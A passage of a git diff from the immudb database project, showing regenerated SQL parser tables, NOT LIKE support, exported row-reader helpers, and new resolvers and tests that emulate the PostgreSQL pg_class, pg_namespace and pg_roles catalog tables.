115, 0, 0, 0, 71, + 0, 48, 0, 0, 0, 0, 137, 138, 139, 0, + 22, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 63, 67, 0, 154, 0, 149, 160, 0, 0, 160, + 133, 0, 0, 0, 0, 0, 167, 131, 167, 196, + 197, 198, 199, 200, 201, 202, 203, 204, 0, 169, + 0, 0, 180, 193, 0, 192, 188, 0, 0, 118, + 0, 0, 120, 0, 0, 72, 73, 121, 0, 86, + 0, 0, 0, 43, 0, 23, 24, 0, 26, 27, + 43, 0, 0, 0, 0, 0, 156, 0, 0, 154, + 60, 61, -2, 167, 0, 0, 0, 0, 0, 0, + 0, 129, 113, 205, 179, 0, 181, 0, 0, 0, + 0, 119, 116, 117, 0, 85, 0, 170, 89, 0, + 0, 28, 44, 45, 46, 21, 0, 29, 0, 0, + 57, 0, 56, 68, 52, 53, 0, 155, 0, 156, + 148, 142, -2, 0, 147, 122, 0, 64, 71, 167, + 0, 167, 167, 0, 167, 0, 0, 185, 0, 189, + 0, 0, 74, 0, 87, 0, 0, 94, 0, 0, + 19, 0, 25, 31, 32, 51, 0, 55, 157, 161, + 49, 0, 54, 150, 144, 0, 0, 123, 0, 124, + 0, 125, 126, 127, 128, 182, 183, 0, 186, 80, + 0, 0, 0, 92, 95, 0, 0, 0, 20, 0, + 0, 152, 0, 160, 65, 66, 167, 187, 0, 170, + 0, 88, 93, 96, 90, 91, 0, 50, 158, 0, + 0, 0, 130, 0, 171, 0, 58, 154, 0, 153, + 151, 69, 0, 17, 170, 156, 0, 0, 145, 172, + 105, 159, 164, 70, 0, 162, 165, 166, 164, 163, } var yyTok1 = [...]int8{ 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 113, 3, 3, - 116, 117, 111, 109, 108, 110, 114, 112, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 114, 3, 3, + 117, 118, 112, 110, 109, 111, 115, 113, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 118, 3, 119, + 3, 119, 3, 120, } var yyTok2 = [...]int8{ @@ -603,7 +605,7 @@ var yyTok2 = [...]int8{ 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, - 102, 103, 104, 105, 106, 107, 115, + 102, 103, 104, 105, 106, 107, 108, 116, } var yyTok3 = [...]int8{ @@ -1858,26 +1860,31 @@ yydefault: yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } case 180: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: true, pattern: yyDollar[3].exp} + } + case 181: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 181: + case 182: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 182: + case 183: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 183: + case 184: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 184: + case 185: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.exp = &CaseWhenExp{ @@ -1886,102 +1893,102 @@ yydefault: elseExp: yyDollar[4].exp, } } - case 185: + case 186: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.whenThenClauses = []whenThenClause{{when: yyDollar[2].exp, then: yyDollar[4].exp}} } - case 186: + case 187: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.whenThenClauses = append(yyDollar[1].whenThenClauses, whenThenClause{when: yyDollar[3].exp, then: yyDollar[5].exp}) } - case 187: + case 188: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 188: + case 189: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 189: + case 190: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 190: + case 191: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 191: + case 192: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 192: + case 193: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 193: + case 194: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 194: + case 195: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 195: + case 196: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 196: + case 197: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 197: + case 198: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 198: + case 199: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 199: + case 200: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MODOP, right: yyDollar[3].exp} } - case 200: + case 201: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: And, right: yyDollar[3].exp} } - case 201: + case 202: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: Or, right: yyDollar[3].exp} } - case 202: + case 203: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 203: + case 204: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 204: + case 205: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index cef090dc32..c411a5885b 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -186,3 +186,10 @@ func (sqlTx *SQLTx) removeTempFiles() error { } return nil } + +func (sqlTx *SQLTx) ListUsers(ctx context.Context) ([]User, error) { + if sqlTx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler + } + return sqlTx.engine.multidbHandler.ListUsers(ctx) +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 829e0c93c5..4a8c7891d6 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2677,9 +2677,9 @@ type FnCall struct { func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { fn, err := v.resolveFunc() if err != nil { - return AnyType, err + return AnyType, nil } - return fn.inferType(cols, params, implicitTable) + return fn.InferType(cols, params, implicitTable) } func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { @@ -2687,7 +2687,7 @@ func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, par if err != nil { return err } - return fn.requiresType(t, cols, params, implicitTable) + return fn.RequiresType(t, cols, params, implicitTable) } func (v *FnCall) selectors() []Selector { @@ -2744,7 +2744,7 @@ func (v *FnCall) reduceParams(tx *SQLTx, row *Row, implicitTable string) ([]Type func (v *FnCall) resolveFunc() (Function, error) { fn, exists := builtinFunctions[strings.ToUpper(v.fn)] if !exists { - return nil, fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) + return nil, fmt.Errorf("%w: unknown function %s", ErrIllegalArguments, v.fn) } return fn, nil } @@ -2997,7 +2997,11 @@ func (ce *CaseWhenExp) inferType(cols map[string]ColDescriptor, params map[strin } inferredResType = t } - return checkType(ce.elseExp, inferredResType) + + if ce.elseExp != nil { + return checkType(ce.elseExp, inferredResType) + } + return inferredResType, nil } func (ce *CaseWhenExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { @@ -3544,6 +3548,12 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( table, err := tableRef.referencedTable(tx) if err != nil { + if tx.engine.tableResolveFor(tableRef.table) != nil { + return &ScanSpecs{ + groupBySortExps: groupByCols, + orderBySortExps: orderByCols, + }, nil + } return nil, err } @@ -3849,7 +3859,6 @@ func (stmt *tableRef) referencedTable(tx *SQLTx) (*Table, error) { if err != nil { return nil, err } - return table, nil } @@ -3867,11 +3876,14 @@ func (stmt *tableRef) Resolve(ctx context.Context, tx *SQLTx, params map[string] } table, err := stmt.referencedTable(tx) - if err != nil { - return nil, err + if err == nil { + return newRawRowReader(tx, params, table, stmt.period, stmt.as, scanSpecs) } - return newRawRowReader(tx, params, table, stmt.period, stmt.as, scanSpecs) + if resolver := tx.engine.tableResolveFor(stmt.table); resolver != nil { + return resolver.Resolve(ctx, tx, stmt.Alias()) + } + return nil, err } func (stmt *tableRef) Alias() string { @@ -3955,7 +3967,7 @@ func (ds *valuesDataSource) Resolve(ctx context.Context, tx *SQLTx, params map[s for i, rowSpec := range ds.rows { values[i] = rowSpec.Values } - return newValuesRowReader(tx, params, cols, ds.inferTypes, "values", values) + return NewValuesRowReader(tx, params, cols, ds.inferTypes, "values", values) } type JoinSpec struct { @@ -4018,7 +4030,6 @@ func (sel *ColSelector) inferType(cols map[string]ColDescriptor, params map[stri if !ok { return AnyType, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } - return desc.Type, nil } @@ -4490,7 +4501,7 @@ func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Type } if rval.IsNull() { - return &Bool{val: false}, nil + return &Bool{val: bexp.notLike}, nil } rvalStr, ok := rval.RawValue().(string) @@ -4623,7 +4634,6 @@ func (bexp *CmpBoolExp) requiresType(t SQLValueType, cols map[string]ColDescript } _, err := bexp.inferType(cols, params, implicitTable) - return err } @@ -5310,7 +5320,7 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(ctx context.Context, tx *SQLT values[i] = []ValueExp{&Varchar{val: db}} } - return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) + return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { @@ -5332,7 +5342,7 @@ func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, values[i] = []ValueExp{&Varchar{val: t.name}} } - return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) + return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveShowTable(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { @@ -5410,7 +5420,7 @@ func (stmt *FnDataSourceStmt) resolveShowTable(ctx context.Context, tx *SQLTx, p } } - return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) + return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { @@ -5429,19 +5439,12 @@ func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, p }, } - var users []User - - if tx.engine.multidbHandler == nil { - return nil, ErrUnspecifiedMultiDBHandler - } else { - users, err = tx.engine.multidbHandler.ListUsers(ctx) - if err != nil { - return nil, err - } + users, err := tx.ListUsers(ctx) + if err != nil { + return nil, err } values := make([][]ValueExp, len(users)) - for i, user := range users { perm := user.Permission() @@ -5450,8 +5453,7 @@ func (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, p &Varchar{val: perm}, } } - - return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) + return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -5546,7 +5548,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) + return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -5603,7 +5605,7 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) + return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListGrants(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -5665,7 +5667,7 @@ func (stmt *FnDataSourceStmt) resolveListGrants(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(tx, params, cols, true, stmt.Alias(), values) + return NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values) } // DropTableStmt represents a statement to delete a table. diff --git a/embedded/sql/values_row_reader.go b/embedded/sql/values_row_reader.go index 398e56843d..490f1e83a9 100644 --- a/embedded/sql/values_row_reader.go +++ b/embedded/sql/values_row_reader.go @@ -37,7 +37,7 @@ type valuesRowReader struct { closed bool } -func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, checkTypes bool, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { +func NewValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, checkTypes bool, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { if tableAlias == "" { return nil, fmt.Errorf("%w: table alias is mandatory", ErrIllegalArguments) } diff --git a/embedded/sql/values_row_reader_test.go b/embedded/sql/values_row_reader_test.go index 00b9d94f8d..bd03fef943 100644 --- a/embedded/sql/values_row_reader_test.go +++ b/embedded/sql/values_row_reader_test.go @@ -24,23 +24,23 @@ import ( ) func TestValuesRowReader(t *testing.T) { - _, err := newValuesRowReader(nil, nil, nil, true, "", nil) + _, err := NewValuesRowReader(nil, nil, nil, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) cols := []ColDescriptor{ {Column: "col1"}, } - _, err = newValuesRowReader(nil, nil, cols, true, "", nil) + _, err = NewValuesRowReader(nil, nil, cols, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(nil, nil, cols, true, "", nil) + _, err = NewValuesRowReader(nil, nil, cols, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(nil, nil, cols, true, "table1", nil) + _, err = NewValuesRowReader(nil, nil, cols, true, "table1", nil) require.NoError(t, err) - _, err = newValuesRowReader(nil, nil, cols, true, "table1", + _, err = NewValuesRowReader(nil, nil, cols, true, "table1", [][]ValueExp{ { &Bool{val: true}, @@ -49,7 +49,7 @@ func TestValuesRowReader(t *testing.T) { }) require.ErrorIs(t, err, ErrInvalidNumberOfValues) - _, err = newValuesRowReader(nil, nil, + _, err = NewValuesRowReader(nil, nil, []ColDescriptor{ {Table: "table1", Column: "col1"}, }, true, "", nil) @@ -65,7 +65,7 @@ func TestValuesRowReader(t *testing.T) { "param1": 1, } - rowReader, err := newValuesRowReader(nil, params, cols, true, "table1", values) + rowReader, err := NewValuesRowReader(nil, params, cols, true, "table1", values) require.NoError(t, err) require.Nil(t, rowReader.OrderBy()) require.Nil(t, rowReader.ScanSpecs()) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 08c983ccfc..b82684f89a 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -812,6 +812,10 @@ func (tx *OngoingTx) validateAgainst(hdr *TxHeader) error { return nil } +func (tx *OngoingTx) Context() context.Context { + return tx.ctx +} + func cp(s []byte) []byte { if s == nil { return nil diff --git a/pkg/database/database.go b/pkg/database/database.go index 7b1229810a..3359600775 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -34,6 +34,7 @@ import ( "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/pgsql/pgschema" ) const ( @@ -179,7 +180,12 @@ type db struct { } // OpenDB Opens an existing Database from disk -func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log logger.Logger) (DB, error) { +func OpenDB( + dbName string, + multidbHandler sql.MultiDBHandler, + opts *Options, + log logger.Logger, +) (DB, error) { if dbName == "" { return nil, fmt.Errorf("%w: invalid database name provided '%s'", ErrIllegalArguments, dbName) } @@ -233,13 +239,15 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log sqlOpts := sql.DefaultOptions(). WithPrefix([]byte{SQLPrefix}). WithMultiDBHandler(multidbHandler). - WithParseTxMetadataFunc(parseTxMetadata) + WithParseTxMetadataFunc(parseTxMetadata). + WithTableResolvers(pgschema.PgCatalogResolvers()...) dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, opts.replica, err) return nil, err } + dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, opts.replica) dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) @@ -357,7 +365,8 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log sqlOpts := sql.DefaultOptions(). WithPrefix([]byte{SQLPrefix}). WithMultiDBHandler(multidbHandler). - WithParseTxMetadataFunc(parseTxMetadata) + WithParseTxMetadataFunc(parseTxMetadata). + WithTableResolvers(pgschema.PgCatalogResolvers()...) dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, opts.replica) diff --git a/pkg/pgsql/pgschema/resolvers_test.go b/pkg/pgsql/pgschema/resolvers_test.go new file mode 100644 index 0000000000..08bfe410cc --- /dev/null +++ b/pkg/pgsql/pgschema/resolvers_test.go @@ -0,0 +1,167 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package pgschema + +import ( + "context" + "fmt" + "testing" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" + "github.com/stretchr/testify/require" +) + +func setupEngine(t *testing.T, multiDBHandler sql.MultiDBHandler) *sql.Engine { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + t.Cleanup(func() { st.Close() }) + + opts := sql.DefaultOptions(). + WithTableResolvers(PgCatalogResolvers()...) + if multiDBHandler != nil { + opts = opts.WithMultiDBHandler(multiDBHandler) + } + + engine, err := sql.NewEngine(st, opts) + require.NoError(t, err) + return engine +} + +func TestQueryPgCatalogTables(t *testing.T) { + engine := setupEngine(t, &mockMultiDBHandler{ + users: []sql.User{ + &user{username: "immudb", perm: sql.PermissionSysAdmin}, + }, + }) + + _, _, err := engine.Exec(context.Background(), + nil, + `CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)`, + nil) + require.NoError(t, err) + + res, err := engine.Query( + context.Background(), + nil, + `SELECT n.nspname as "Schema", + c.relname as "Name", + CASE c.relkind WHEN 'r' THEN 'table' WHEN 'v' THEN 'view' WHEN 'm' THEN 'materialized view' WHEN 'i' THEN 'index' WHEN 'S' THEN 'sequence' WHEN 't' THEN 'TOAST table' WHEN 'f' THEN 'foreign table' WHEN 'p' THEN 'partitioned table' WHEN 'I' THEN 'partitioned index' END as "Type", + pg_get_userbyid(c.relowner) as "Owner" + FROM pg_class c + LEFT JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE c.relkind IN ('r','p','') + AND n.nspname <> 'pg_catalog' + AND n.nspname !~ '^pg_toast' + AND n.nspname <> 'information_schema' + AND pg_table_is_visible(c.oid) + ORDER BY 1,2;`, + nil, + ) + require.NoError(t, err) + defer res.Close() + + row, err := res.Read(context.Background()) + require.NoError(t, err) + + name, _ := row.ValuesBySelector[sql.EncodeSelector("", "c", "name")].RawValue().(string) + owner, _ := row.ValuesBySelector[sql.EncodeSelector("", "c", "owner")].RawValue().(string) + relType, _ := row.ValuesBySelector[sql.EncodeSelector("", "c", "type")].RawValue().(string) + schema := row.ValuesBySelector[sql.EncodeSelector("", "n", "schema")].RawValue() + + require.Equal(t, "table1", name) + require.Equal(t, "immudb", owner) + require.Equal(t, "table", relType) + require.Nil(t, schema) +} + +func TestQueryPgRolesTable(t *testing.T) { + engine := setupEngine(t, &mockMultiDBHandler{ + users: []sql.User{ + &user{username: "immudb", perm: sql.PermissionSysAdmin}, + &user{username: "user1", perm: sql.PermissionReadWrite}, + }, + }) + + rows, err := engine.Query( + context.Background(), + nil, + ` + SELECT r.rolname, r.rolsuper, r.rolinherit, + r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, + r.rolconnlimit, r.rolvaliduntil, r.rolreplication, + r.rolbypassrls + + FROM pg_roles r + WHERE r.rolname !~ '^pg_' + ORDER BY 1;`, + nil, + ) + require.NoError(t, err) + + row, err := rows.Read(context.Background()) + require.NoError(t, err) + + name, _ := row.ValuesBySelector[sql.EncodeSelector("", "r", "rolname")].RawValue().(string) + require.Equal(t, "immudb", name) + + roleSuper, _ := row.ValuesBySelector[sql.EncodeSelector("", "r", "rolsuper")].RawValue().(bool) + require.True(t, roleSuper) + + row, err = rows.Read(context.Background()) + require.NoError(t, err) + + name, _ = row.ValuesBySelector[sql.EncodeSelector("", "r", "rolname")].RawValue().(string) + require.Equal(t, "user1", name) + + roleSuper, _ = row.ValuesBySelector[sql.EncodeSelector("", "r", "rolsuper")].RawValue().(bool) + require.False(t, roleSuper) +} + +type mockMultiDBHandler struct { + sql.MultiDBHandler + + users []sql.User +} + +type user struct { + username string + perm sql.Permission +} + +func (u *user) Username() string { + return u.username +} + +func (u *user) Permission() sql.Permission { + return u.perm +} + +func (u *user) SQLPrivileges() []sql.SQLPrivilege { + return []sql.SQLPrivilege{sql.SQLPrivilegeCreate, sql.SQLPrivilegeSelect} +} + +func (h *mockMultiDBHandler) ListUsers(ctx context.Context) ([]sql.User, error) { + return h.users, nil +} + +func (h *mockMultiDBHandler) GetLoggedUser(ctx context.Context) (sql.User, error) { + if len(h.users) == 0 { + return nil, fmt.Errorf("no logged user") + } + return h.users[0], nil +} diff --git a/pkg/pgsql/pgschema/table_resolvers.go b/pkg/pgsql/pgschema/table_resolvers.go new file mode 100644 index 0000000000..2c6480b76f --- /dev/null +++ b/pkg/pgsql/pgschema/table_resolvers.go @@ -0,0 +1,382 @@ +/* +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://mariadb.com/bsl11/ + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package pgschema + +import ( + "context" + + "github.com/codenotary/immudb/embedded/sql" +) + +var pgClassCols = []sql.ColDescriptor{ + { + Column: "oid", + Type: sql.IntegerType, + }, + { + Column: "relname", + Type: sql.VarcharType, + }, + { + Column: "relnamespace", + Type: sql.IntegerType, + }, + { + + Column: "reltype", + Type: sql.VarcharType, + }, + { + + Column: "reloftype", + Type: sql.IntegerType, + }, + { + + Column: "relowner", + Type: sql.IntegerType, + }, + { + + Column: "relam", + Type: sql.IntegerType, + }, + { + + Column: "relfilenode", + Type: sql.IntegerType, + }, + { + + Column: "reltablespace", + Type: sql.IntegerType, + }, + { + + Column: "relpages", + Type: sql.IntegerType, + }, + { + + Column: "reltuples", + Type: sql.Float64Type, + }, + { + + Column: "relallvisible", + Type: sql.IntegerType, + }, + { + + Column: "reltoastrelid", + Type: sql.IntegerType, + }, + { + + Column: "relhasindex", + Type: sql.BooleanType, + }, + { + + Column: "relisshared", + Type: sql.BooleanType, + }, + { + + Column: "relpersistence", + Type: sql.VarcharType, + }, + { + + Column: "relkind", + Type: sql.VarcharType, + }, + { + + Column: "relnats", + Type: sql.IntegerType, + }, + { + + Column: "relchecks", + Type: sql.IntegerType, + }, + { + + Column: "relhasrules", + Type: sql.BooleanType, + }, + { + + Column: "relhastriggers", + Type: sql.BooleanType, + }, + { + + Column: "relhassubclass", + Type: sql.BooleanType, + }, + { + + Column: "relrowsecurity", + Type: sql.BooleanType, + }, + { + + Column: "relforcerowsecurity", + Type: sql.BooleanType, + }, + { + Column: "relispopulated", + Type: sql.BooleanType, + }, + { + Column: "relreplident", + Type: sql.VarcharType, + }, + { + Column: "relispartition", + Type: sql.BooleanType, + }, + { + Column: "relrewrite", + Type: sql.IntegerType, + }, + { + Column: "relfrozenxid", + Type: sql.IntegerType, + }, + { + Column: "relminmxid", + Type: sql.IntegerType, + }, + { + Column: "relacl", + Type: sql.AnyType, + }, + { + Column: "reloptions", + Type: sql.AnyType, + }, + { + Column: "relpartbound", + Type: sql.AnyType, + }, +} + +type pgClassResolver struct{} + +func (r *pgClassResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) { + catalog := tx.Catalog() + tables := catalog.GetTables() + + rows := make([][]sql.ValueExp, len(tables)) + for i, t := range tables { + rows[i] = []sql.ValueExp{ + sql.NewInteger(int64(t.ID())), // oid + sql.NewVarchar(t.Name()), // relname + sql.NewInteger(-1), // relnamespace + sql.NewVarchar(""), // reltype + sql.NewNull(sql.IntegerType), // reloftype + sql.NewInteger(0), // relowner + sql.NewNull(sql.IntegerType), // relam + sql.NewNull(sql.IntegerType), // relfilenode + sql.NewNull(sql.IntegerType), // reltablespace + sql.NewNull(sql.IntegerType), // relpages + sql.NewNull(sql.Float64Type), // reltuples + sql.NewNull(sql.IntegerType), // relallvisible + sql.NewNull(sql.IntegerType), // reltoastrelid + sql.NewBool(len(t.GetIndexes()) > 1), // relhasindex + sql.NewBool(false), // relisshared + sql.NewNull(sql.VarcharType), // relpersistence + sql.NewVarchar("r"), // relkind + sql.NewNull(sql.IntegerType), // relnats + sql.NewNull(sql.IntegerType), // relchecks + sql.NewBool(false), // relhasrules + sql.NewBool(false), // relhastriggers + sql.NewBool(false), // relhassubclass + sql.NewBool(false), // relrowsecurity + sql.NewBool(false), // relforcerowsecurity + sql.NewBool(false), // relispopulated + sql.NewVarchar(""), // relreplident + sql.NewBool(false), // relispartition + sql.NewInteger(0), // relrewrite + sql.NewNull(sql.IntegerType), // relfrozenxid + sql.NewNull(sql.IntegerType), // relminmxid + sql.NewNull(sql.AnyType), // relacl + sql.NewNull(sql.AnyType), // reloptions + sql.NewNull(sql.AnyType), // relpartbound + } + } + + return sql.NewValuesRowReader( + tx, + nil, + pgClassCols, + true, + alias, + rows, + ) +} + +func (r *pgClassResolver) Table() string { + return "pg_class" +} + +var pgNamespaceCols = []sql.ColDescriptor{ + { + Column: "oid", + Type: sql.IntegerType, + }, + { + Column: "nspname", + Type: sql.VarcharType, + }, + { + Column: "nspowner", + Type: sql.IntegerType, + }, + { + Column: "nspacl", + Type: sql.AnyType, + }, +} + +type pgNamespaceResolver struct{} + +func (r *pgNamespaceResolver) Resolve(ctx context.Context, tx *sql.SQLTx, alias string) (sql.RowReader, error) { + return sql.NewValuesRowReader( + tx, + nil, + pgNamespaceCols, + true, + alias, + nil, + ) +} + +func (r *pgNamespaceResolver) Table() string { + return "pg_namespace" +} + +var pgRolesCols = []sql.ColDescriptor{ + { + Column: "rolname", + Type: sql.VarcharType, + }, + { + Column: "rolsuper", + Type: sql.BooleanType, + }, + { + Column: "rolinherit", + Type: sql.BooleanType, + }, + { + Column: "rolcreaterole", + Type: sql.BooleanType, + }, + { + Column: "rolcreatedb", + Type: sql.BooleanType, + }, + { + Column: "rolcanlogin", + Type: sql.BooleanType, + }, + { + Column: "rolreplication", + Type: sql.BooleanType, + }, + { + Column: "rolconnlimit", + Type: sql.IntegerType, + }, + { + Column: "rolpassword", + Type: sql.VarcharType, + }, + { + Column: "rolvaliduntil", + Type: sql.TimestampType, + }, + { + Column: "rolbypassrls", + Type: sql.BooleanType, + }, + { + Column: "rolconfig", + Type: sql.AnyType, + }, + { + Column: "oid", + Type: 